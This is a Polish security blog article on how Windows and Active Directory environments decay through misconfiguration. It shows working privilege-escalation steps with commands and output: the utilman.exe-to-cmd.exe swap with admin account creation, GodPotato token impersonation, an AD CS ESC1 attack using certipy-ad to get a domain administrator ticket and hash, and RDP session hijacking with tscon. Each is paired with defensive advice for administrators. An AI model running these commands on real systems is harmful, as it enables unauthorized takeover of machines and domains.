Windows w praktyce: zjawisko korozji domeny, czyli dlaczego istotne błędy często nie mają swojego identyfikatora CVE

Obecność sztucznej inteligencji w świecie technologii można obserwować na każdym kroku. Pomaga ona w tworzeniu oprogramowania, przyspieszaniu i usprawnianiu prac. Warto zwrócić też uwagę na trend szybkości wyszukiwania i łatania podatności przez producentów, czego przykładem może być Google czy Microsoft. Przyglądając się liczbie łatanych podatności, można zaobserwować rosnący trend – dobrym tego podsumowaniem jest raport Tenable.

11 sierpnia 2026 roku Microsoft opublikował comiesięczny zestaw poprawek bezpieczeństwa. W jednym wydaniu zaadresowano 520 podatności, z czego 236 dotyczyło samego systemu Windows. Warto dodać, że jednym z najistotniejszych załatanych błędów była podatność wykorzystywana do lokalnej eskalacji uprawnień (CVE-2026-68820), oceniona zaledwie na 7.0 w skali CVSS, a to dlatego, że jej użycie powiązano z aktywnością grupy Lazarus. Dokładny, ciekawy opis kampanii tej grupy można przeczytać na blogu Checkpoint.

Patrząc szerzej, można stwierdzić, że kierunek działań Microsoftu zasługuje na uznanie; mechanizmy pozwalające na łatwiejszą eksploitację systemów Windows oraz Active Directory powoli są łatane lub zastępowane bezpieczniejszymi odpowiednikami. Oto kilka przykładów:

• SMBv1 zniknął z domyślnej instalacji (a Czytelników chcących sprawdzić, czy w sieci SMBv1 nadal nie jest aktywnie wykorzystywany, odsyłam do poradnika).
• Trwa proces wycofywania NTLM na rzecz Kerberosa, o którym pisałem w pierwszym i drugim artykule poświęconym problemom tego protokołu.
• Nowe kontrolery domeny na Windows Server 2025 domyślnie wymagają podpisywania komunikacji LDAP za sprawą polityki Domain controller: LDAP server signing requirements Enforcement.
• Od Windows 11 22H2 (2022 rok) domyślnie włączony jest Credential Guard, mający na celu uniemożliwienie/znaczne utrudnienie uzyskania dostępu do lokalnej bazy LSASS.

Każda z tych zmian, wprowadzona kosztem kompatybilności wstecznej, usuwa z sieci korporacyjnych kolejne grupy ataków.

Podczas przeprowadzania testów penetracyjnych środowisk Active Directory można natomiast zaobserwować można istotny trend – w zdecydowanej większości testów, które skutkowały przejęciem domeny (lub dostępu do istotnych danych), cała ścieżka ataku opierała się na funkcjach działających zgodnie z dokumentacją.

Punktem wyjścia jest zwykle najpopularniejszy problem, czyli usługi skonfigurowane wbrew dobrym praktykom. Tu warto być uczciwym – dostrzeżenie wszystkich, pozornie drobnych, ustawień, które dopiero w sumie tworzą realny błąd, to zadanie dla kogoś z solidną wiedzą o meandrach Windows i Active Directory oraz latami administracji za sobą. Dalej pojawiają się wyjątki wprowadzone kilka lat temu, żyjące własnym życiem, i uprawnienia nadane tymczasowo, czyli na zawsze.

To zjawisko nazywane jest czasami tzw. korozją domeny.
Środowisko Active Directory najczęściej tworzone jest w poprawny sposób, a psuje się dopiero z czasem, przez lata, w wyniku setek drobnych decyzji, z których każda z osobna na etapie jej zatwierdzania wyglądała rozsądnie. Poniżej przygotowałem kilka przykładów błędów, które wynikają ze sposobu działania systemu lub miskonfiguracji administratora – a które nie zostaną wyłapane podczas procedury comiesięcznego łatania systemów.

Przykład 1: Eskalacja uprawnień w systemie podczas fizycznego dostępu do urządzenia

Narzędzia ułatwień dostępu muszą być dostępne jeszcze przed zalogowaniem; działają więc w kontekście, który nie jest powiązany z konkretnym użytkownikiem – jako konto z najwyższymi uprawnieniami w systemie, czyli NT AUTHORITY\SYSTEM.
To zjawisko prowadzi do ciekawego sposobu eskalacji uprawnień, który polega na podmianie lokalizacji pliku binarnego narzędzia managera ułatwień dostępu.

Przy dostępie fizycznym do komputera i możliwości uruchomienia systemu ze środowiska odzyskiwania (WinRE) lub innego nośnika wystarczy podmienić jeden plik. Z poziomu konsoli odzyskiwania:

copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.exe.bak

copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

Po restarcie, na ekranie logowania, kliknięcie ikony ułatwień dostępu (lub skrót Windows + U) otwiera konsolę:

C:\Windows\System32> whoami

nt authority\system

Konsola SYSTEM na zablokowanym ekranie logowania pozwala natychmiast dodać konto administratora lokalnego:

net user dwaniebieskiesekuraczki hahahanapr@wd3! /add

net localgroup Administrators dwaniebieskiesekuraczki /add

Warto zaznaczyć, że powyższa technika może zostać wykonana na kilka sposobów – zamiast podmieniać utilman.exe, można zastąpić aplikację klawiatury na ekranie (osk.exe), czy chociażby lupy (magnify.exe).
Więcej sposobów wykorzystania – tutaj. 

Co ciekawe, w Internecie ta technika opisywana jest jako „prosty sposób na reset hasła w Windows 10/11, bez konieczności reinstalacji systemu”.

Jak więc można zabezpieczyć się przed tym atakiem?

Cała technika jest efektem decyzji projektowej z lat dziewięćdziesiątych XX wieku, połączonej z decyzją wdrożeniową administratora.
Eskalacja uprawnień z wykorzystaniem podmiany narzędzi dostępu wymaga możliwości odczytu i zapisu partycji systemowej po uruchomieniu z innego nośnika, a tę możliwość odbiera poprawnie wdrożone szyfrowanie dysku. Istotny jest tryb: BitLocker z TPM znacząco utrudnia offline’ową modyfikację systemu; konfiguracja TPM+PIN dodatkowo wymaga sekretu przed startem i zapewnia silniejszą ochronę przed atakami wymagającymi fizycznego dostępu.

Przykład 2: Podstawowa enumeracja konta. Niebezpieczne uprawnienia i przejęcie tokenu

Załóżmy, że atakujący ma już powłokę na stacji roboczej w kontekście zwykłego użytkownika domeny. Pierwsze minuty spędza na rozpoznaniu, a punktem, do którego zagląda najpierw, są uprawnienia własnego tokenu. W modelu bezpieczeństwa Windows to one (a nie przynależność do grup czy nazwa użytkownika!) przesądzają o tym, co proces może zrobić z systemem.

Zazwyczaj pierwsze polecenie wykonywane na systemie po uzyskaniu do niego dostępu to whoami /all.

Kluczowa jest sekcja PRIVILEGES INFORMATION:

PRIVILEGES INFORMATION

----------------------

Privilege Name                Description                          State

============================= ==================================== ========

[…]

SeImpersonatePrivilege        Impersonate a client after auth      Enabled

SeChangeNotifyPrivilege       Bypass traverse checking             Enabled

Uprawnienie SeImpersonatePrivilege jest jednym z najpotężniejszych, pożądanych przez pentestera – stanowi ono istotny trop, często prowadzący do możliwości wyeskalowania swoich uprawnień do poziomu SYSTEM, który daje możliwość kontrolowania istotnych komponentów całego systemu.
To uprawnienie pozwala przyjąć (impersonifikować) token innego, uwierzytelnionego klienta. Windows nadaje je domyślnie kontom usługowym oraz kontom, w kontekście których działają serwery aplikacyjne (np. IIS i MSSQL).

Mechanizm eskalacji opiera się na tym, jak Windows obsługuje uwierzytelnianie między procesami.
Istnieje grupa usług systemowych, które można nakłonić do połączenia zwrotnego do procesu atakującego. Usługi te działają w kontekście SYSTEM, więc token, który przy tym połączeniu przekazują, jest tokenem SYSTEM. Proces atakującego, dysponując uprawnieniem SeImpersonatePrivilege, ma prawo ten token przejąć i posłużyć się nim do uruchomienia dowolnego polecenia. Cała sztuczka sprowadza się do zamiany połączenia uwierzytelniającego na token, a następnie tokenu na powłokę.

Na rysunku 1 widoczny jest schemat przedstawiający działanie całego ataku.

Praktyczny przebieg z użyciem narzędzia GodPotato, uruchomionego na koncie posiadającym to uprawnienie, zajmuje jedno polecenie:

GodPotato.exe -cmd "cmd /c whoami"

[*] CombineToken privileges attack

[*] Trigger RPCSS

[…]

[*] Pipe: \\.\pipe\epmapper\...

[…]

[*] process start with pid 7351

nt authority\system

Dlaczego więc ta technika nie została wyeliminowana?

Konto z SeImpersonatePrivilege oraz konto SYSTEM leżą po tej samej stronie granicy zaufania w modelu bezpieczeństwa Windows, więc przejście między nimi jest ruchem wewnątrz tej samej strefy. Z tego powodu producent traktuje całą klasę podobnych technik (które w żargonie „bezpieczników” znane są jako rodzina „potato” – poza „god potato” można znaleźć również techniki znane pod nazwą „rotten potato” czy „juicy potato” 😉 Dla zainteresowanych – dokładniejszy opis.

Kontrola leży w całości po stronie administratora i sprowadza się do dwóch decyzji: uruchamiania usług aplikacyjnych na kontach minimalnym zakresie uprawnień oraz świadomego przeglądu, które konta w środowisku faktycznie posiadają SeImpersonatePrivilege. Każde takie konto to potencjalny skrót do SYSTEM na hoście, na którym działa.

Przykład 3: Eskalacja uprawnień z użyciem certyfikatów wiecznie żywa

Usługa AD CS (Active Directory Certificate Services) występuje w znacznej części większych środowisk Active Directory – i w znacznej części z nich, zgodnie z obserwacjami z testów bezpieczeństwa, znajdują się podatności skutkujące eskalacją uprawnień w ramach sieci, do poziomu administratora domeny.

Klasyczny wariant ataku, najprostszy do eksploitacji (i jednocześnie występujący prawdopodobnie najczęściej!), to technika wykorzystująca szablon certyfikatu podatny na technikę znaną pod wariantem ESC1.
Taki szablon pozwala wnioskodawcy samodzielnie podać podmiot, dla którego wystawiony zostanie certyfikat (flaga CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) – a certyfikat ten jest zdefiniowany jako pozwalający na uwierzytelnienie w ramach domeny z jego użyciem.

Aby wykryć podatny szablon certyfikatu, można skorzystać z narzędzia certipy-ad:

certipy-ad find -u ksiegowosc -p grubefakturki -dc-ip 192.168.56.12 -vulnerable -stdout

Certificate Templates

  0

    Template Name             : CorpexUser

    […]

    Enrollee Supplies Subject : True

    […]

    Client Authentication     : True

    […]

    Enrollment Rights         : CORPEX.LOCAL\Domain Users

    [!] Vulnerabilities

      ESC1 : Enrollee supplies subject and can request client auth

Następnie można zażądać certyfikatu – podmieniając UPN użytkownika, dla którego certyfikat jest wystawiony, na administratora domeny (flaga -upn):

certipy-ad req -u ksiegowosc -p grubefakturki -dc-ip 192.168.56.12 -ca CORPEX-CA -template CorpexUser -upn administrator@corpex.local

Uzyskany plik PFX może zostać wykorzystany do uwierzytelnienia z użyciem PKINIT i pobrania biletu TGT administratora domeny:

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.12

[…]

[*] Using principal: administrator@corpex.local

[*] Trying to get TGT...

[*] Got TGT

[…]

[*] Saving credential cache to 'administrator.ccache'

[*] Got hash for 'administrator@corpex.local': aad3b...:2f48...f160

Jak widać na powyższym listingu – przeprowadzenie podobnego ataku nie wymaga finezji, tworzenia własnych eksploitów, a w celu przejęcia całego środowiska domenowego wystarczy dowolne konto domenowe oraz wykorzystanie narzędzia, dostępnego w domyślnej instalacji Kali LInux.

Przyczyną wystąpienia wariantu ataku opisanego powyżej jest między innymi drobna zmiana wprowadzona w konfiguracji szablonu certyfikatu (rysunek 2).

Oznacza ona, że „nazwa podmiotu”, dla którego przesłany zostanie certyfikat, pobierana jest z żądania użytkownika – a nie wyciągana automatycznie z drzewa Active Directory, na podstawie danych użytkownika wnioskującego o niego.

Warto dodać, że w aktualnych środowiskach Windows samo podstawienie UPN administratora bywa niewystarczające. Mechanizm strong certificate mapping wymaga silnego powiązania certyfikatu z kontem (między innymi przez SID), więc powodzenie ESC1 zależy dziś także od konfiguracji mapowania certyfikatów oraz ustawień systemów uczestniczących w uwierzytelnianiu.

Omawiając ataki polegające na przejęciu certyfikatów z użyciem AD CS, warto zwrócić uwagę na dodatkowy (a często pomijany) szczegół:

Wystawiony certyfikat zachowuje ważność przez cały swój okres, zwykle rok lub dwa lata, a zmiana hasła przejętego konta go nie unieważnia.
Standardowa procedura reagowania na incydent, czyli reset haseł kont uprzywilejowanych, zostawia atakującemu w pełni działający dostęp. Odzyskanie kontroli wymaga odwołania certyfikatu, a odwołać można wyłącznie ten, którego istnienie jest znane. Audyt wystawiania certyfikatów w wielu organizacjach pozostaje wyłączony domyślnie przez lata.

Przykład 4: Model tieringu w praktyce

Ostatni przykład najlepiej pokazuje, dlaczego tak dużo mówi się o podziale na warstwy administracyjne. Administrator Krzysztof łączy się przez RDP do stacji roboczej użytkownika, rozwiązuje problem i zamyka okno klienta. Sesja przechodzi w stan rozłączony (Disconnected) i pozostaje w pamięci maszyny wraz z tokenem dostępu.

Atakujący z uprawnieniami SYSTEM na tej stacji (uzyskanymi na przykład metodą z przykładu 2) wyświetla sesje, na przykład z użyciem polecenia query user:

USERNAME       SESSIONNAME    ID  STATE      IDLE TIME  LOGON TIME

 ksiegowosc     rdp-tcp#1       1  Active     none       09.08.2026 08:12

 admin_krzysiek                 3  Disconnected  15:22   09.08.2026 08:55

Konto admin_krzysiek posiada rozłączoną sesję (ID 3). Okazuje się, że posiadając uprawnienia SYSTEM, można przejąć ją z wykorzystaniem polecenia tscon 3 /dest:rdp-tcp#1.

Po tej operacji atakujący pracuje w sesji admin_krzysiek bez podania hasła, jego skrótu ani biletu. Kontekst SYSTEM nie musi się uwierzytelniać, żeby podłączyć cudzą sesję na lokalnej maszynie, i jest to udokumentowane zachowanie usług pulpitu zdalnego. Atak nie dotyka procesu LSASS i nie zrzuca poświadczeń.

W organizacji, w której nie jest wykorzystywany tzw. model tieringu, czyli podziału urządzeń i kont na warstwy, a w której konto administratora domeny bywa używane do logowania na stacje robocze, jedna porzucona sesja wystarcza do przejęcia domeny.

Więcej o modelu tieringu w Active Directory można znaleźć w oficjalnej, bardzo dobrze opisującej proces, dokumentacji Microsoftu.

Więcej o technice RDP Hijacking można przeczytać tutaj. https://hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Wnioski dla administratorów

Wszystkie powyższe ataki mają wspólny mianownik – comiesięczne aktualizacje oraz uruchamianie skanerów podatności ich nie wykryje. Obrona jest możliwa, ale sprowadza się do decyzji konfiguracyjnych i architektonicznych.

Chcąc zabezpieczyć swoje urządzenia przed opisywanymi wyżej technikami, warto przypomnieć sobie kilka dobrych zasad konfiguracji systemów Windows oraz Active Directory:

1. Szyfrowanie dysków stacji roboczych i laptopów w trybie TPM + PIN.
2. Podział na warstwy administracyjne i zakaz logowania kont Tier 0 na stacje robocze.
3. Uruchamianie usług aplikacyjnych na kontach z minimalnym zakresem uprawnień oraz kontrola, które konta posiadają SeImpersonatePrivilege.
4. Przegląd szablonów certyfikatów AD CS i włączenie audytu na urzędzie certyfikacji.

Instalowanie poprawek jest jednym z najistotniejszych sposobów zwiększania bezpieczeństwa urządzenia. Natomiast chcąc upewnić się, że środowisko jest w pełni zabezpieczone i odporne na typowe ataki, należy pamiętać również o szeregu innych wytycznych: podziale na warstwy (tier), zasadzie minimalnych uprawnień, higienie kont usługowych, kontroli konfiguracji AD CS, szyfrowaniu stacji – i wielu innych.

Podsumowanie

Ekosystem Windows i Active Directory był przez dekady rozwijany z naciskiem na kompatybilność wsteczną i wygodę administracji. Efekt uboczny stanowi zbiór zachowań, z których każde z osobna jest w pełni dozwolone i zgodne z dokumentacją, a które w połączeniu tworzą ścieżki eskalacji uprawnień zaskakująco proste do zautomatyzowania. Producent pozostawia je nietknięte, a odpowiedzialność za ich zabezpieczenie spoczywa na osobach projektujących i utrzymujących środowisko.

Jeżeli chcesz zobaczyć, jak podobny scenariusz wygląda w praktyce – od ekranu logowania stacji roboczej aż po bilet administratora domeny, zapraszam na bezpłatny pokaz Anatomia ataku: Windows i Active Directory. Przeprowadzimy cały ten łańcuch na żywo i po każdym etapie zwrócimy uwagę na to, co w tym samym momencie widzi (lub czego nie widzi) administrator po drugiej stronie.

Zapisy

Jeżeli natomiast interesuje Cię przede wszystkim to, jak takie zaniedbania wykrywać, priorytetyzować i eliminować we własnej organizacji, zapraszam na szkolenie Praktyczne bezpieczeństwo Windows: zagrożenia, metody ochrony, ciekawostki, które prowadzę razem z Grzegorzem Tworkiem i Wiktorem Szymanikiem. Podczas tego kursu rozkładamy podobne scenariusze na czynniki pierwsze: najpierw od strony ofensywnej, następnie defensywnej, tak aby przełożyć wiedzę techniczną na realne wzmocnienie bezpieczeństwa sieci.

Szczegóły i zapisy 

~Marek Rzepecki, etyczny hacker i trener w Securitum